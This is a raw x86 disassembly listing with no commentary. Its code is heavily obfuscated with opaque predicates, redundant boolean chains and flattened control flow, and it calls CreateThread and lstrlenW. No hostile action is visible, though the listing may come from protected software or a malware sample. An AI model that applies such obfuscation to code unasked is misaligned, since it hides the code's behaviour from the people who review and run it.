and ah, ch
or dl, ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
and al, dh
mov byte [ebp - 0xe86], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xe85], al
mov al, byte [ebp - 0xe86]
and cl, dh
or ah, al
mov al, byte [ebp - 0xe85]
or al, cl
mov cl, byte [ebp - 0xe84]
xor ah, al
mov al, byte [ebp - 0xe83]
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov ch, dl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and dl, ah
or bl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xe82], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 1
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0xe82]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf292aa26
mov ecx, 0x570295a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x84]
mov dword [eax], ecx
mov dword [ebp - 0x1ec], 0x8964f555
jmp 0x48b820
mov eax, dword [ebp - 0x80]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x168]
mov byte [eax], cl
mov eax, dword [ebp - 0x168]
mov dl, byte [eax]
mov eax, 0x5875df0f
mov ecx, 0x1fa44211
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
mov edx, ecx
add edx, 0xd59fe6dd
sub edx, 0x8a6d8249
sub edx, 0xd59fe6dd
add edx, 0xdc642760
sub edx, 0x88e56d7c
sub edx, 0xdc642760
add edx, 0xd696aaf9
add edx, 0x8a6d8249
sub edx, 0xd696aaf9
mov esi, 0xe816701c
add esi, 0
sub esi, 1
sub esi, 0xe816701c
sub edx, 0x296e2485
add edx, esi
add edx, 0x296e2485
mov esi, 0xd10ab94c
add esi, 0
sub esi, edx
sub esi, 0xd10ab94c
mov edi, 0x3ad3e26d
add edi, 0
sub edi, 0x88e56d7c
sub edi, 0x3ad3e26d
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl ah
mov al, dh
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov ch, dh
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ch
or cl, dl
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dl, bl
or cl, ch
xor dl, cl
mov bh, dh
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xf65], dl
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and al, cl
mov bl, ch
and bl, 0
and bh, cl
or dl, al
mov al, byte [ebp - 0xf65]
or bl, bh
xor dl, bl
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov bl, ah
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, bl
or al, ch
xor cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov al, 1
xor al, 0
and al, 1
mov ch, 1
xor ch, 1
and ch, 0
or al, ch
mov byte [ebp - 0xf62], al
xor al, 0xff
mov ch, ah
xor ch, al
and ch, ah
mov bh, 1
xor bh, 1
and bh, 1
mov bl, 1
xor bl, 1
mov al, bl
and al, 1
mov byte [ebp - 0xf64], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xf63], al
mov al, byte [ebp - 0xf64]
and bl, 1
or bh, al
mov al, byte [ebp - 0xf63]
or al, bl
xor bh, al
mov al, 1
xor al, 0
mov bl, bh
xor bl, al
mov al, byte [ebp - 0xf62]
and bl, bh
mov byte [ebp - 0xf61], bl
mov bh, 1
xor bh, 1
xor al, 0xff
mov bl, 1
xor bl, 0
or bh, al
mov al, byte [ebp - 0xf61]
or bl, 0
xor bh, 0xff
and bh, bl
mov byte [ebp - 0xf60], bh
mov bl, cl
and bl, ch
xor cl, ch
or bl, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xf5c], ch
xor bh, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0xf5d], cl
and ch, 0
and al, cl
mov cl, byte [ebp - 0xf60]
mov byte [ebp - 0xf5f], al
mov al, bh
and al, 0
mov byte [ebp - 0xf5e], al
mov al, byte [ebp - 0xf5d]
and cl, al
mov al, byte [ebp - 0xf5f]
or ch, al
mov al, byte [ebp - 0xf5e]
or al, cl
mov cl, byte [ebp - 0xf5d]
xor ch, al
mov al, byte [ebp - 0xf5c]
or al, bh
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov al, bl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and bl, bh
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bh
or al, bl
or cl, ch
xor al, cl
mov byte [ebp - 0xf39], al
mov al, 1
xor al, 0
and al, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, bl
or cl, ch
xor al, cl
xor al, 0xff
xor al, 0
and al, 0
mov byte [ebp - 0xf5b], al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov cl, ch
xor cl, 0xff
xor cl, 0
and cl, 0
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, 1
xor al, 0
mov bl, bh
xor bl, al
mov al, byte [ebp - 0xf5b]
and bl, bh
mov byte [ebp - 0xf56], bl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov byte [ebp - 0xf58], ch
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0xf57], bl
mov bh, 1
xor bh, 0
mov bl, ch
and bl, 0
and al, bh
mov byte [ebp - 0xf5a], al
mov al, byte [ebp - 0xf57]
and al, 0
mov byte [ebp - 0xf59], al
mov al, byte [ebp - 0xf5a]
and cl, bh
or bl, al
mov al, byte [ebp - 0xf59]
or al, cl
mov cl, byte [ebp - 0xf58]
xor bl, al
mov al, byte [ebp - 0xf57]
or ch, al
mov al, byte [ebp - 0xf56]
xor ch, 0xff
or bh, 0
and ch, bh
or bl, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, bh
or al, bl
or cl, ch
xor al, cl
mov byte [ebp - 0xf33], al
mov cl, dl
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov bl, dl
and bl, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or cl, bl
or al, ch
xor cl, al
mov bh, 1
xor bh, 0
and bh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or bh, bl
or al, ch
xor bh, al
mov byte [ebp - 0xf55], bh
mov al, 1
xor al, 0
and al, 1
mov ch, 1
xor ch, 1
and ch, 0
or al, ch
mov byte [ebp - 0xf50], al
mov ch, cl
xor ch, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, ch
and al, 0xff
mov byte [ebp - 0xf54], al
and cl, bl
mov al, bh
and al, 0xff
mov byte [ebp - 0xf53], al
mov al, byte [ebp - 0xf55]
and al, bl
mov byte [ebp - 0xf52], al
mov al, byte [ebp - 0xf54]
or al, cl
mov cl, byte [ebp - 0xf53]
mov byte [ebp - 0xf51], al
mov al, byte [ebp - 0xf52]
or cl, al
mov al, byte [ebp - 0xf51]
xor al, cl
mov cl, byte [ebp - 0xf50]
or ch, bh
xor ch, 0xff
or bl, 1
and ch, bl
or al, ch
mov bl, cl
and bl, 0
xor cl, 0
or bl, cl
mov ch, al
xor ch, 0xff
and ch, 0
mov bh, 1
xor bh, 0
and al, bh
mov cl, 1
xor cl, 1
and cl, 0
and bh, 1
or ch, al
mov al, byte [ebp - 0xf33]
or cl, bh
xor ch, cl
xor bl, 0xff
mov cl, ch
xor cl, bl
and cl, ch
mov byte [ebp - 0xf4d], cl
mov bl, al
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and al, cl
or bl, al
mov cl, dh
xor cl, 0xff
and cl, 0
mov al, 1
xor al, 0
mov bh, dh
and bh, al
mov ch, bl
xor ch, 0xff
and ch, 0
and bl, al
mov al, byte [ebp - 0xf39]
or cl, bh
or ch, bl
xor cl, ch
xor dh, 0xff
mov ch, cl
xor ch, dh
and ch, cl
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
or bh, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and al, bl
mov cl, bh
xor cl, 0xff
and cl, 0xff
and bh, bl
mov bl, byte [ebp - 0xf39]
or dh, al
mov al, byte [ebp - 0xf33]
or cl, bh
xor dh, cl
xor dh, 0xff
xor bl, 0xff
mov cl, 1
xor cl, 1
or dh, bl
or cl, 1
xor dh, 0xff
and dh, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and al, cl
or bh, al
mov bl, ah
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
mov byte [ebp - 0xf4f], al
mov cl, ah
and cl, al
mov al, bh
xor al, 0xff
and al, 0xff
mov byte [ebp - 0xf4e], al
mov al, byte [ebp - 0xf4f]
and bh, al
mov al, byte [ebp - 0xf4e]
or bl, cl
mov cl, byte [ebp - 0xf4d]
or al, bh
xor bl, al
xor bl, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov byte [ebp - 0xf40], al
mov al, ch
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
mov cl, ch
and cl, bh
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0xf4d]
or ah, bh
xor al, ah
mov byte [ebp - 0xf41], al
mov ah, 1
xor ah, 1
and ah, 0
mov al, 1
xor al, 0
mov bh, al
and bh, 1
mov byte [ebp - 0xf4c], bh
mov bh, 1
xor bh, 1
and bh, 0
and al, 1
mov byte [ebp - 0xf4b], al
mov al, byte [ebp - 0xf4c]
or ah, al
mov al, byte [ebp - 0xf4b]
or bh, al
mov al, byte [ebp - 0xf40]
xor ah, bh
mov byte [ebp - 0xf3d], ah
xor al, 0xff
mov ah, 1
xor ah, 1
mov bh, 1
xor bh, 1
or al, ah
mov ah, byte [ebp - 0xf3d]
or bh, 1
xor al, 0xff
and al, bh
xor cl, 0xff
xor ah, 0xff
mov bh, 1
xor bh, 1
or cl, ah
mov ah, byte [ebp - 0xf41]
or bh, 1
xor cl, 0xff
and cl, bh
mov bh, 1
xor bh, 1
xor ah, bh
mov bh, byte [ebp - 0xf41]
and ah, bh
mov bh, byte [ebp - 0xf3d]
mov byte [ebp - 0xf46], ah
xor bh, 0xff
mov ah, ch
xor ah, bh
and ah, ch
mov byte [ebp - 0xf48], ah
mov ah, al
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0xf47], ch
mov bh, 1
xor bh, 1
mov ch, ah
and ch, 0xff
and al, bh
mov byte [ebp - 0xf4a], al
mov al, byte [ebp - 0xf47]
and al, 0xff
mov byte [ebp - 0xf49], al
mov al, byte [ebp - 0xf4a]
and cl, bh
or ch, al
mov al, byte [ebp - 0xf49]
or al, cl
mov cl, byte [ebp - 0xf48]
xor ch, al
mov al, byte [ebp - 0xf47]
or ah, al
mov al, byte [ebp - 0xf46]
xor ah, 0xff
or bh, 1
and ah, bh
or ch, ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0xf42], bh
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0xf43], ah
mov ah, 1
xor ah, 1
and bh, 0xff
and al, ah
mov byte [ebp - 0xf45], al
mov al, byte [ebp - 0xf43]
and al, 0xff
mov byte [ebp - 0xf44], al
mov al, byte [ebp - 0xf45]
and cl, ah
or bh, al
mov al, byte [ebp - 0xf44]
or al, cl
mov cl, byte [ebp - 0xf43]
xor bh, al
mov al, byte [ebp - 0xf42]
or al, cl
mov cl, byte [ebp - 0xf41]
xor al, 0xff
or ah, 1
and al, ah
or bh, al
mov al, ch
xor al, 0xff
mov ah, bh
and ah, al
mov al, byte [ebp - 0xf40]
xor bh, 0xff
and ch, bh
or ah, ch
mov byte [ebp - 0xf36], ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0xf3c], bh
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 1
and bh, 0xff
and al, ah
mov byte [ebp - 0xf3f], al
mov al, ch
and al, 0xff
mov byte [ebp - 0xf3e], al
mov al, byte [ebp - 0xf3f]
and cl, ah
or bh, al
mov al, byte [ebp - 0xf3e]
or al, cl
mov cl, byte [ebp - 0xf3d]
xor bh, al
mov al, byte [ebp - 0xf3c]
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or bh, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and bh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, bh
or al, ah
xor ch, al
mov ah, 1
xor ah, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0xf38], al
mov al, 1
xor al, 1
mov byte [ebp - 0xf37], al
mov bh, ah
and bh, 0xff
and al, 1
mov byte [ebp - 0xf3b], al
mov al, byte [ebp - 0xf38]
and al, 0xff
mov byte [ebp - 0xf3a], al
mov al, byte [ebp - 0xf37]
and cl, al
mov al, byte [ebp - 0xf3b]
or bh, al
mov al, byte [ebp - 0xf3a]
or al, cl
mov cl, byte [ebp - 0xf39]
xor bh, al
mov al, byte [ebp - 0xf38]
or ah, al
mov al, byte [ebp - 0xf37]
xor ah, 0xff
or al, 1
and ah, al
mov al, byte [ebp - 0xf36]
or bh, ah
xor ch, 0xff
xor bh, 0xff
mov ah, 1
xor ah, 0
or ch, bh
or ah, 0
xor ch, 0xff
and ch, ah
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov al, dh
xor al, 0xff
mov bh, bl
xor bh, 0xff
mov ch, 1
xor ch, 1
or al, bh
or ch, 1
xor al, 0xff
and al, ch
mov bh, dh
xor bh, 0xff
mov ch, bl
and ch, bh
xor bl, 0xff
and dh, bl
or ch, dh
mov bh, al
and bh, ch
xor al, ch
or bh, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov bl, ah
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or ch, bl
or al, dh
xor ch, al
xor ch, 0xff
mov al, bh
xor al, ch
and al, bh
mov dh, bh
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or dh, bh
or ch, bl
xor dh, ch
xor ah, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or ah, dh
or ch, 1
xor ah, 0xff
and ah, ch
mov ch, al
and ch, ah
xor al, ah
or ch, al
mov bh, dl
xor bh, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 0
or bh, ah
or al, 0
xor bh, 0xff
and bh, al
mov bl, dl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or bl, dl
or al, cl
xor bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bh, cl
mov dh, ah
and dh, 0
and bl, cl
or dl, bh
or dh, bl
xor dl, dh
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, 1
xor al, 1
and al, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or al, bl
or ah, dh
xor al, ah
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
or dl, dh
or ah, 1
xor dl, 0xff
and dl, ah
mov bh, 1
xor bh, 1
and bh, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or bh, bl
or ah, dh
xor bh, ah
xor bh, 0xff
mov dh, 1
xor dh, 1
mov ah, 1
xor ah, 1
or bh, dh
or ah, 1
xor bh, 0xff
and bh, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and bh, dl
mov byte [ebp - 0xf35], bh
mov bh, bl
and bh, 0xff
and al, dl
mov byte [ebp - 0xf34], al
mov al, byte [ebp - 0xf35]
or ah, al
mov al, byte [ebp - 0xf34]
or bh, al
mov al, byte [ebp - 0xf33]
xor ah, bh
or cl, bl
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, bl
or dl, dh
or cl, ah
xor dl, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
or cl, ah
mov byte [ebp - 0xf2c], cl
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and al, ah
or bh, al
mov byte [ebp - 0xf2a], bh
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov byte [ebp - 0xf28], bl
mov ah, 1
xor ah, 0
mov al, cl
xor al, ah
and al, cl
mov cl, bl
xor cl, 0xff
xor cl, 0
and cl, 0
mov dh, 1
xor dh, 0
mov ah, bh
xor ah, dh
mov dh, byte [ebp - 0xf33]
and ah, bh
mov byte [ebp - 0xf2f], ah
xor bl, 0xff
mov ah, dh
xor ah, bl
and ah, dh
mov byte [ebp - 0xf30], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, ah
and bh, 0xff
and al, dh
mov byte [ebp - 0xf32], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xf31], al
mov al, byte [ebp - 0xf32]
and cl, dh
or bh, al
mov al, byte [ebp - 0xf31]
or al, cl
mov cl, byte [ebp - 0xf30]
xor bh, al
mov al, byte [ebp - 0xf2f]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or bh, ah
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xf2b], bl
mov dh, cl
xor dh, 0xff
mov ah, 1
xor ah, 1
and bl, 0xff
and al, ah
mov byte [ebp - 0xf2e], al
mov al, dh
and al, 0xff
mov byte [ebp - 0xf2d], al
mov al, byte [ebp - 0xf2e]
and cl, ah
or bl, al
mov al, byte [ebp - 0xf2d]
or al, cl
mov cl, byte [ebp - 0xf2c]
xor bl, al
mov al, byte [ebp - 0xf2b]
or al, dh
xor al, 0xff
or ah, 1
and al, ah
or bl, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0xf2a]
or ah, bh
or dh, bl
xor ah, dh
mov byte [ebp - 0xf22], ah
mov ah, cl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, ah
and bh, 0xff
mov byte [ebp - 0xf29], bh
and cl, dh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0xf27], al
mov al, byte [ebp - 0xf29]
or al, cl
mov cl, byte [ebp - 0xf28]
mov byte [ebp - 0xf26], al
mov al, byte [ebp - 0xf27]
or bh, al
mov al, byte [ebp - 0xf26]
xor al, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and al, dh
or ah, al
mov dh, 1
xor dh, 0
mov byte [ebp - 0xf23], dh
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and dh, 0
mov al, bl
and al, 0
mov byte [ebp - 0xf25], al
mov al, bh
and al, 0
mov byte [ebp - 0xf24], al
mov al, byte [ebp - 0xf25]
and cl, bl
or dh, al
mov al, byte [ebp - 0xf24]
or al, cl
mov cl, byte [ebp - 0xf23]
xor dh, al
mov al, byte [ebp - 0xf22]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or dh, cl
xor ah, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or ah, dh
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
mov bl, cl
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and cl, dl
or bl, cl
mov bh, 1
xor bh, 1
and bh, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xf21], dh
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 0
and dh, 0
and al, cl
mov ah, dl
and ah, 0
and bl, cl
or dh, al
mov al, byte [ebp - 0xf21]
or ah, bl
xor dh, ah
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov cl, 1
xor cl, 1
mov byte [ebp - 0xf20], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov al, dl
and al, 1
mov bl, ah
and bl, 0xff
and bh, dl
or cl, al
mov al, byte [ebp - 0xf20]
or bl, bh
xor cl, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, dh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, dh
or dl, ah
xor al, dl
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf0cce4b
mov ecx, 0x4c0d53e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x16c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov word [eax], cx
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
mov esi, 0xd4a3f651
add esi, 0
sub esi, 1
sub esi, 0xd4a3f651
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
mov edx, 0x127e1bbd
add edx, 0
sub edx, esi
sub edx, 0x127e1bbd
xor esi, esi
sub esi, edx
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl al
mov byte [ebp - 0xf9e], al
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or ch, dl
mov ah, cl
xor ah, 0xff
mov dl, ch
and dl, ah
xor ch, 0xff
mov ah, cl
and ah, ch
or dl, ah
xor dl, 0xff
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov bl, cl
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
xor ah, 0xff
xor ah, 0
and ah, 0
mov bl, 1
xor bl, 0
and bl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 0
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or bl, bh
or ch, dh
xor bl, ch
mov ch, bl
xor ch, 0xff
mov dh, cl
xor dh, ch
and dh, cl
mov ch, al
xor ch, 0xff
and ch, 0
mov bh, 1
xor bh, 0
and al, bh
mov cl, 1
xor cl, 1
and cl, 0
and bh, 1
or ch, al
mov al, byte [ebp - 0xf9e]
or cl, bh
xor ch, cl
mov bh, 1
xor bh, 0
mov cl, ch
xor cl, bh
and cl, ch
xor bl, 0xff
mov ch, al
xor ch, bl
and ch, al
mov al, ah
and al, dh
xor ah, dh
or al, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov ch, al
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and al, ah
or cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe127e9aa
mov ecx, 0x5a8352c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x78]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x71], al
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor esi, esi
sub esi, ecx
add esi, 0
mov edx, 0x95db09c2
add edx, 0
sub edx, 0x48ecee04
sub edx, 0x95db09c2
add esi, 0x42324a33
add esi, edx
sub esi, 0x42324a33
xor edx, edx
sub edx, 0x7ddeb21c
sub edx, esi
add edx, 0x7ddeb21c
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x4d6d0cb5
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0x4d6d0cb5
add edx, esi
xor edi, edi
sub edi, 0x48ecee04
add edi, 0
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ch
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ah, al
mov dl, 1
xor dl, 1
xor ah, 0xff
mov al, 1
xor al, 0
or dl, ah
or al, 0
xor dl, 0xff
and dl, al
mov al, 1
xor al, 1
and al, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or al, bl
or ah, dh
xor al, ah
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, dl
